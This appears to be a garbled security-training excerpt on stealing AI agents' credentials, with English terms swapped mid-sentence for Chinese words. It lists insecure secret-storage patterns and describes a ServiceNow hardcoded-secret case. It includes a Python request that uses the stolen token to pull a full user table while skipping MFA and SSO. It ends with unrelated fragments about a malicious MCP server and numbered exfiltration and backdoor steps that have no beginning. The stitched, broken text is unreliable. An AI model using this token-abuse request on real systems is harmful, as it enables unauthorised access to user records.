代理 Identity and Credential Theft

# Common (insecure) patterns for 代理 credential management
 
# Pattern 1: Environment variables
import os
api_key = os.environ["OPENAI_API_KEY"]
db_url = os.environ["DATABASE_URL"]  # Contains password in URL
 
# Pattern 2: Configuration files
import yaml
with open("/app/config/secrets.yaml") as f:
    secrets = yaml.safe_load(f)
    slack_token = secrets["slack_bot_token"]
    aws_key = secrets["aws_access_key_id"]
 
# Pattern 3: Hardcoded in 代理 code
ADMIN_API_KEY = "sk-prod-a1b2c3d4e5f6..."  # Never do this

# ServiceNow AI Platform used a hardcoded 認證 secret
# for its AI 代理 service-to-service communication
 
# The hardcoded secret was discoverable through:
# 1. Decompiling the ServiceNow 代理 plugin
# 2. Reading the 代理's configuration endpoint
# 3. Intercepting 代理-to-platform API calls
 
# Once 攻擊者 obtains the secret:
hardcoded_secret = "SNow-AI-Auth-Key-2025-PRODUCTION"
 
# 攻擊者 can authenticate directly to the ServiceNow API
# as the AI 代理, bypassing:
# - Multi-factor 認證 (MFA)
# - Single sign-on (SSO) requirements
# - IP allowlisting (代理 traffic is whitelisted)
# - User session controls
 
import requests
 
response = requests.get(
    "https://company.service-now.com/api/now/table/sys_user",
    headers={
        "Authorization": f"Bearer {hardcoded_secret}",
        "X-代理-Auth": "true",
        # 代理 traffic bypasses normal auth controls
    }
)
# Returns full user table -- names, emails, roles, hashed passwords

// Malicious MCP server configuration
// When a user installs this MCP server in Cursor, it executes
// arbitrary commands with 使用者's 權限

# 5. Exfiltrate everything to 攻擊者's server
# 6. Install persistent 後門
